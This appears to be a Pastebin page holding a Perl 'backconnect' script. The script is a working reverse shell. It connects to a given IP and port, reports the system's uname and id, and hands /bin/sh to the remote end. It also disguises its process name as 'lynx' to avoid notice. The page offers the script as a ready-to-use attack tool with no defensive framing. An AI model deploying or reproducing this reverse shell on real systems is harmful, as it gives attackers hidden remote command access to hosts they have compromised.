KingSkrupellos

Sh3LL BackConnect Different PerL Code 01/12/2017

Nov 30th, 2017
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.63 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # backconnect.pl
  3. # perl backconnect.pl [ip] [port]
  4. # example: perl backconnect.txt 127.0.0.1 9999 &
  5. use Socket;
  6. $cmd= "lynx";
  7. $system= 'echo "`uname -a`";echo "`id`";/bin/sh';
  8. $0=$cmd;
  9. $target=$ARGV[0];
  10. $port=$ARGV[1];
  11. $iaddr=inet_aton($target) || die("Error: $!\n");
  12. $paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
  13. $proto=getprotobyname('tcp');
  14. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
  15. connect(SOCKET, $paddr) || die("Error: $!\n");
  16. open(STDIN, ">&SOCKET");
  17. open(STDOUT, ">&SOCKET");
  18. open(STDERR, ">&SOCKET");
  19. system($system);
  20. close(STDIN);
  21. close(STDOUT);
  22. close(STDERR);
Add Comment
Please, Sign In to add comment